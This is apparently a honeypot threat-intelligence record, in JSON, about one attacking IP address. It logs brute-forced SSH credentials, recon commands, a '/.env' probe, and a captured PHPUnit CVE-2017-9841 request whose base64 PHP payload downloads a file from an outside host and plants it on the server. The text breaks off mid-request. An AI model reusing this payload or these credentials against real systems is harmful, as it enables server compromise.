{"ip":"108.186.84.69","data_as_of":"2026-10-26T23:39:58+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"24 interactive session(s) ran commands after logging in","confidence":"high","network_type":"CDN","why":["24 interactive session(s) logged in and ran commands.","78 interactive session(s) logged in successfully.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Sent 261,036 bytes, which is sustained payload delivery.","Held a session open for 24815s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"261,036 bytes sent, longest session 24815s","bytes_sent":261036,"session_seconds":24815,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-14T18:02:56","last_seen":"2026-10-22T03:17:14","events_24h":0,"events_7d":0,"interactive_sessions":1606,"interactive_sessions_24h":0,"interactive_sessions_7d":1097,"interactive_protocols":[{"protocol":"http","sessions":1424},{"protocol":"smtp","sessions":84},{"protocol":"ssh","sessions":60}],"geo":{"country_code":"US","country_name":"United States","region":"","city":"","lat":null,"lon":null,"asn":399486,"org":"12651980 CANADA INC."},"source_domain":"mail5.lxpuboots.info","known_scanners":[],"scanner_tag":{"key":"peeringdb:as399486","label":"Virtuo.Host (AS399486)","category":"cdn","url":"https://www.peeringdb.com/asn/399486"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"interactive_session","matched_pattern":"","confirmed_by":"interactive_session","sessions":60,"kev_date_added":"2022-02-15"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":1606,"first_seen":"2026-10-14T18:02:56","last_seen":"2026-10-22T03:17:14","verdicts":[{"verdict":"unknown","sessions":999},{"verdict":"scan","sessions":415},{"verdict":"exploit-attempt","sessions":114},{"verdict":"credential","sessions":54},{"verdict":"post-exploitation","sessions":24}],"personas":[{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1","sessions":541},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":274},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5","sessions":266},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, discovery@igd 1.0, fortigate@7.2.1","sessions":136},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1","sessions":99},{"persona":"smtp@3.4.13","sessions":74},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5, gitlab@19.4.2","sessions":74},{"persona":"linux-ubuntu@20.04","sessions":56},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5","sessions":14},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1, gitlab@19.4.2","sessions":13},{"persona":"smtp@3.8.6","sessions":10}],"services":[{"protocol":"http","port":80,"sessions":1283},{"protocol":"http","port":443,"sessions":137},{"protocol":"smtp","port":587,"sessions":84},{"protocol":"ssh","port":22,"sessions":60},{"protocol":"tcp","port":2083,"sessions":38},{"protocol":"http","port":2083,"sessions":4}],"logins":[{"username":"shopfront","password":"Sh0pfr0nt!2024","password_sent":true,"service":"ssh-password","outcome":"success","tries":38,"last_seen":"2026-10-22T02:20:34"},{"username":"root","password":"shopfront","password_sent":true,"service":"ssh-password","outcome":"success","tries":18,"last_seen":"2026-10-21T23:06:07"},{"username":"","password":"","password_sent":true,"service":"smtp-auth-plain","outcome":"success","tries":18,"last_seen":"2026-10-21T23:05:47"},{"username":"portal","password":"Sh0pfr0nt!2024","password_sent":true,"service":"ssh-password","outcome":"success","tries":4,"last_seen":"2026-10-22T00:49:10"}],"commands":[{"ts":"2026-10-22T02:20:34","session_id":"cb997b66-7131-4972-b9ed-a3291d1688d7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T01:55:04","session_id":"46e2bf25-a913-4a3b-bd00-a0c2ce400447","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T01:40:21","session_id":"79178605-09ec-4436-b410-ef440dbca87e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T01:08:53","session_id":"b2dd5600-e917-47e5-80d1-787371816582","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:51:09","session_id":"da322ffd-e5f5-4dc2-9a7e-2f7b1163c80c","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:49:10","session_id":"b39fc8a8-a5e8-41e3-9acd-8f075e4bff39","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-22T00:14:34","session_id":"e592fb03-9220-4b94-867e-a3c3a8967a09","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-21T22:56:44","session_id":"138cd7a3-350b-4099-8b9f-e1fb9395897d","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-20T20:21:13","session_id":"c68b1d57-38d9-4893-98ed-f106e94e0969","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-20T20:20:08","session_id":"f98ef86d-da91-4ce0-9653-4f0f2714df26","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-20T19:42:27","session_id":"d7547fa3-f9c3-4326-b984-444cbb5c7168","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-20T19:30:41","session_id":"a8f75b04-d700-4a77-83a7-c5f01e7a39ff","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-20T17:08:04","session_id":"0a91c508-d2b3-4043-9c22-2416def35063","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-20T16:55:03","session_id":"435779fc-b6c1-41eb-a2e8-a31b92c1c1e2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-20T16:54:53","session_id":"12dc15d3-7cec-464f-82aa-19963a221bce","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-18T22:36:57","session_id":"35a1f43d-2998-4cb5-9aa6-7162d1732777","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-18T22:31:11","session_id":"ddf5ec15-56b4-465e-bf94-d4141027359f","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-18T20:22:15","session_id":"87b3e200-c745-4954-9226-9ed5f9c298b2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-18T20:15:14","session_id":"7c215848-0963-43c3-ae1b-c3d43df05332","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-15T22:45:37","session_id":"006edd24-d449-4d19-85b1-c2b6a77e2ab7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-15T22:32:02","session_id":"709a5e6c-381b-4acc-b0b0-85deb6cd3f30","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-14T20:51:11","session_id":"7f91d9d9-6d49-4522-876e-7b1727ba3eb8","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-14T18:41:00","session_id":"4b4e00aa-32dd-4e30-9a6b-13118a88c832","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0},{"ts":"2026-10-14T18:40:16","session_id":"e595b765-6ee2-4bfa-9185-ad60b0121e1b","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo 'wakanda';uname -a;","exit_code":0}],"downloads":[],"files":[{"sha256":"4c4631bed086d063081c155ae7fd5b429a9cd45c2a224a7a5b1a727a71964d63","name":"phpunit-eval-stdin","size":706,"mime_type":"text/x-php","kind":"payload","times":24,"first_seen":"2026-10-14T18:39:30","last_seen":"2026-10-22T02:19:50","virustotal":{"sha256":"4c4631bed086d063081c155ae7fd5b429a9cd45c2a224a7a5b1a727a71964d63","status":"known","malicious":5,"total":78,"name":"3CA33F26_174e551e40cc81a506a24f4b701df49a"}},{"sha256":"b1abcb0f58e72c0e3fa18a15fbcadfc59ea3c94d52bc38556eee7bfa99ba50ea","name":"phpunit-eval-stdin","size":762,"mime_type":"text/x-php","kind":"payload","times":18,"first_seen":"2026-10-15T20:45:49","last_seen":"2026-10-21T23:06:05","virustotal":{"sha256":"b1abcb0f58e72c0e3fa18a15fbcadfc59ea3c94d52bc38556eee7bfa99ba50ea","status":"known","malicious":6,"total":76,"name":"3.txt"}},{"sha256":"075368f947e7b5399efee4f002b99c8cdc704276e63b46adae9a46256ddf1eb8","name":"phpunit-eval-stdin","size":19,"mime_type":"text/x-php","kind":"payload","times":18,"first_seen":"2026-10-15T20:45:49","last_seen":"2026-10-21T23:06:05","virustotal":{"sha256":"075368f947e7b5399efee4f002b99c8cdc704276e63b46adae9a46256ddf1eb8","status":"known","malicious":0,"total":75,"name":"phpinfo.php"}},{"sha256":"e132b1dcf24dbb5cf00bb445cc0aa9131462c16fcc6a95604c2c1dda45fa3925","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-21T23:05:48","last_seen":"2026-10-21T23:05:48","virustotal":null},{"sha256":"bfbc5bea905a6ee67b43e83659fc9b397fcaaaf7c6e1f8194a6ae086f14e8107","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-21T22:50:43","last_seen":"2026-10-21T22:50:43","virustotal":null},{"sha256":"85ff3f96971e56a3e6a08d7e4bd6f97845a798276db45beef54365475904972a","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-21T22:46:03","last_seen":"2026-10-21T22:46:03","virustotal":null},{"sha256":"306c569d2563b1734d10cd018f1a6235b1ae751e2ac28e6e94c8da26c31f0320","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-21T22:44:14","last_seen":"2026-10-21T22:44:14","virustotal":null},{"sha256":"0314dc74daf73f6523940c64e8033d0759b1bec86ca8014e3a6e0433cefb5d85","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-21T22:39:10","last_seen":"2026-10-21T22:39:10","virustotal":null},{"sha256":"710717ede9c3844d0ca9b967e78ff3c6758520b831b3a64f533003b9a6bca7ee","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-21T22:36:23","last_seen":"2026-10-21T22:36:23","virustotal":null},{"sha256":"ab50cdbe08768e15a4da86affaa1cb1a9f1e8b8645dc50e59c176171772db4d7","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-21T22:31:34","last_seen":"2026-10-21T22:31:34","virustotal":null},{"sha256":"a7ba01d43f6b67215b37ada5baad78dd27e220a6fbd8d51c0de8337832224927","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-20T16:18:51","last_seen":"2026-10-20T16:18:51","virustotal":null},{"sha256":"9780ac29f9a5d4a4db56c09d95cb3e478e00fe404f90ae8117e1b9e6614f8e1b","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-20T16:16:41","last_seen":"2026-10-20T16:16:41","virustotal":null},{"sha256":"84bb044671f62131ab7b9df6f8fbe6f9fc827cf33a539de22b6931054bfd066d","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-20T15:57:32","last_seen":"2026-10-20T15:57:32","virustotal":null},{"sha256":"e7a50fc4ae2e5d1d9cfe9580e71e147adc2d27a3e9e6c6ff5fdd62e6a7a4893d","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-20T15:56:15","last_seen":"2026-10-20T15:56:15","virustotal":null},{"sha256":"12bf9bacdde49ef37fdc53d56fcd8546b7d454fc34908cdbca237a1b79dc2ea8","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-20T15:56:13","last_seen":"2026-10-20T15:56:13","virustotal":null},{"sha256":"38bc251a02e7c9963134ec5aef930ec9e735fdb8dc7b60e1ae6d351900ab53d2","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-18T18:25:47","last_seen":"2026-10-18T18:25:47","virustotal":null},{"sha256":"4151623de759bfd50e6d39f025f3cba47867a5f303ccda2e17a60853ee22a22f","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-18T18:22:32","last_seen":"2026-10-18T18:22:32","virustotal":null},{"sha256":"ee5cca895ecd88e010e1ffb576a908f4ca249b08ee15e827b35ffcb525620da0","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-18T17:50:26","last_seen":"2026-10-18T17:50:26","virustotal":null},{"sha256":"56f6e5ea06d212f198c76b82dbdd251d3d9479289891a82d9c4aea82fc93dc06","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-18T17:48:12","last_seen":"2026-10-18T17:48:12","virustotal":null},{"sha256":"e4656345825cbd25b3d210205673d5480998ede701f07a01ffaea783e72882bb","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-15T20:48:18","last_seen":"2026-10-15T20:48:18","virustotal":null},{"sha256":"0baabc5c6242e737ab14ec050e72e8b8938fae46d3f37e8f11d4bfb1b83d0a78","name":"message-1.eml","size":3120,"mime_type":"text/plain","kind":"email","times":1,"first_seen":"2026-10-15T20:45:31","last_seen":"2026-10-15T20:45:31","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":436},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":114},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":78},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":24},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":78}]},"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":0,"sessions":1283},{"port":443,"proto":"tcp","label":"HTTPS","count":0,"sessions":137},{"port":587,"proto":"tcp","label":"SMTP","count":0,"sessions":84},{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":60},{"port":2083,"proto":"tcp","label":"HTTP","count":0,"sessions":42}],"fingerprints":{"ssh_hassh":["6372ee6957562199b2fb773b0be1bf34","87e3d9ffee0540b0390f8a5b9c343c08"],"tls_ja4":["t13i4311h1_c7886603b240_8d633dac7124","t13i4311h1_c7886603b240_b26ce05bbdd6"],"tls_client_hello":"","tls_ja3":["db687c576d7ee0017b289fc05e0f8574"],"http_akin":[],"interactive":{"ssh_hassh":["6372ee6957562199b2fb773b0be1bf34","87e3d9ffee0540b0390f8a5b9c343c08"],"tls_ja4":["t13i4311h1_c7886603b240_8d633dac7124","t13i4311h1_c7886603b240_b26ce05bbdd6"],"tls_ja3":["db687c576d7ee0017b289fc05e0f8574"]}},"fingerprint_peers":{"t13i4311h1_c7886603b240_b26ce05bbdd6":23,"6372ee6957562199b2fb773b0be1bf34":5,"87e3d9ffee0540b0390f8a5b9c343c08":14,"t13i4311h1_c7886603b240_8d633dac7124":7},"akin_families":{},"user_agents":["Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36","Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30","python-requests/2.32.3","python-requests/2.32.5"],"timeline":[{"date":"2026-10-14","count":0,"sessions":145},{"date":"2026-10-15","count":0,"sessions":119},{"date":"2026-10-16","count":0,"sessions":2},{"date":"2026-10-18","count":0,"sessions":231},{"date":"2026-10-19","count":0,"sessions":12},{"date":"2026-10-20","count":0,"sessions":518},{"date":"2026-10-21","count":0,"sessions":226},{"date":"2026-10-22","count":0,"sessions":353}],"recent_events":[{"timestamp":"2026-10-22T02:20:34","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo 'wakanda';uname -a;","payload_hex":"6563686f202777616b616e6461273b756e616d65202d613b","method":"","user_agent":"","ja3":"","session":"cb997b66-7131-4972-b9ed-a3291d1688d7-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"250c1334a144d4db","strings":["echo 'wakanda';uname -a;"]},"interactive":true},{"timestamp":"2026-10-22T02:20:01","port":587,"proto":"tcp","app_proto":"smtp","app_protocol":"smtp","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"QUIT\r\n","payload_hex":"515549540d0a","method":"","user_agent":"","ja3":"","session":"81afa388-6326-4e7e-8741-1644c080822c-4","seq":4,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"559ce5fcec51fbf7","strings":["QUIT"]},"interactive":true},{"timestamp":"2026-10-22T02:20:01","port":587,"proto":"tcp","app_proto":"smtp","app_protocol":"smtp","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ehlo ADMINIS-KI0SCBV\r\n","payload_hex":"65686c6f2041444d494e49532d4b4930534342560d0a","method":"","user_agent":"","ja3":"","session":"81afa388-6326-4e7e-8741-1644c080822c-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d25a7cd278ab5d8a","label":"SMTP","strings":["ehlo ADMINIS-KI0SCBV"]},"interactive":true},{"timestamp":"2026-10-22T02:19:50","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"706\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"<?php eval('?>'.base64_decode('PD9waHAKZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CgkkZnAgPSBmb3BlbigkaXNpLCAidyIpOwoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKCWZjbG9zZSgkZnApOwoJb2JfZmx1c2goKTsKCWZsdXNoKCk7Cn0KaWYoYWRtaW5lcigiaHR0cDovL3RhbmdpYmxlLWRyaW5rLnN1cmdlLnNoL2NvbmZpZ3gudHh0Iiwid3B4LnBocCIpKSB7CgllY2hvICJVbmFtZSI7Cn0gZWxzZSB7CgllY2hvICJmYWlsZWQiOwp9Cj8+')); ?>","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203730360d0a0d0a3c3f706870206576616c28273f3e272e6261736536345f6465636f64652827504439776148414b5a6e56755933527062323467595752746157356c6369676b64584a734c43416b61584e704b53423743676b6b5a6e41675053426d6233426c6269676b61584e704c434169647949704f776f4a4a474e6f494430675933567962463970626d6c304b436b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b78505546526656564a4d4c43416b64584a734b54734b43574e31636d786663325630623342304b43526a6143776751315653544539515646394353553542556c6c55556b464f55305a465569776764484a315a536b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b785055465266556b565556564a4f56464a42546c4e475256497349485279645755704f776f4a593356796246397a5a5852766348516f4a474e6f4c43424456564a4d5431425558314e545446395752564a4a526c6c51525556534c43426d5957787a5a536b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b785055465266526b6c4d525377674a475a774b54734b43584a6c644856796269426a64584a73583256345a574d6f4a474e6f4b54734b43574e31636d7866593278766332556f4a474e6f4b54734b43575a6a6247397a5a53676b5a6e41704f776f4a62324a665a6d78316332676f4b54734b43575a7364584e6f4b436b37436e304b6157596f595752746157356c636967696148523063446f764c335268626d6470596d786c4c575279615735724c6e4e31636d646c4c6e4e6f4c324e76626d5a705a3367756448683049697769643342344c6e426f634349704b53423743676c6c5932687649434a56626d46745a534937436e30675a57787a5a53423743676c6c5932687649434a6d59576c735a5751694f777039436a382b2729293b203f3e","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"db687c576d7ee0017b289fc05e0f8574","session":"9b5da704-e635-452c-8c4e-ef2de61dc8e5-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T02:19:50","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/.env","summary":"","payload_hex":"474554202f2e656e7620485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"db687c576d7ee0017b289fc05e0f8574","session":"9b5da704-e635-452c-8c4e-ef2de61dc8e5-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T02:19:49","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"15\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"rand%5EX=_tools","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a2031350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a0d0a72616e64253545583d5f746f6f6c73","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"db687c576d7ee0017b289fc05e0f8574","session":"9b5da704-e635-452c-8c4e-ef2de61dc8e5-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T01:55:04","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo 'wakanda';uname -a;","payload_hex":"6563686f202777616b616e6461273b756e616d65202d613b","method":"","user_agent":"","ja3":"","session":"46e2bf25-a913-4a3b-bd00-a0c2ce400447-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"250c1334a144d4db","strings":["echo 'wakanda';uname -a;"]},"interactive":true},{"timestamp":"2026-10-22T01:54:23","port":587,"proto":"tcp","app_proto":"smtp","app_protocol":"smtp","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"QUIT\r\n","payload_hex":"515549540d0a","method":"","user_agent":"","ja3":"","session":"ff03bf43-d28c-40c8-8f68-a6b2ba64bb64-4","seq":4,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"559ce5fcec51fbf7","strings":["QUIT"]},"interactive":true},{"timestamp":"2026-10-22T01:54:23","port":587,"proto":"tcp","app_proto":"smtp","app_protocol":"smtp","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ehlo ADMINIS-KI0SCBV\r\n","payload_hex":"65686c6f2041444d494e49532d4b4930534342560d0a","method":"","user_agent":"","ja3":"","session":"ff03bf43-d28c-40c8-8f68-a6b2ba64bb64-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d25a7cd278ab5d8a","label":"SMTP","strings":["ehlo ADMINIS-KI0SCBV"]},"interactive":true},{"timestamp":"2026-10-22T01:54:05","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"706\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"<?php 